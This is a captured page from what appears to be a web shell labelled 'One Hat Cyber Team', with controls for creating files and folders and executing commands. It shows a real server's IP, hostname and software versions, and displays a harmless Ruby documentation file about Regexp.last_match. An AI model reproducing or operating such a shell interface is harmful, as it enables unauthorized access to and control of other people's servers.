⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.25
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Regexp
/
View File Name :
last_match-c.ri
U:RDoc::AnyMethod[iI"last_match:ETI"Regexp::last_match;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"BThe first form returns the MatchData object generated by the ;TI"Nlast successful pattern match. Equivalent to reading the special global ;TI"Jvariable <code>$~</code> (see Special global variables in Regexp for ;TI"details).;To:RDoc::Markup::BlankLine o; ; [I"LThe second form returns the <i>n</i>th field in this MatchData object. ;TI"@_n_ can be a string or symbol to reference a named capture.;T@o; ; [I"MNote that the last_match is local to the thread and method scope of the ;TI"'method that did the pattern match.;T@o:RDoc::Markup::Verbatim; [I"#/c(.)t/ =~ 'cat' #=> 0 ;TI":Regexp.last_match #=> #<MatchData "cat" 1:"a"> ;TI"'Regexp.last_match(0) #=> "cat" ;TI"%Regexp.last_match(1) #=> "a" ;TI"%Regexp.last_match(2) #=> nil ;TI" ;TI"4/(?<lhs>\w+)\s*=\s*(?<rhs>\w+)/ =~ "var = val" ;TI"NRegexp.last_match #=> #<MatchData "var = val" lhs:"var" rhs:"val"> ;TI"'Regexp.last_match(:lhs) #=> "var" ;TI"&Regexp.last_match(:rhs) #=> "val";T:@format0: @fileI" re.c;T:0@omit_headings_from_table_of_contents_below0I"QRegexp.last_match -> matchdata Regexp.last_match(n) -> str ;T0[ I"(*args);T@&FI"Regexp;TcRDoc::NormalClass00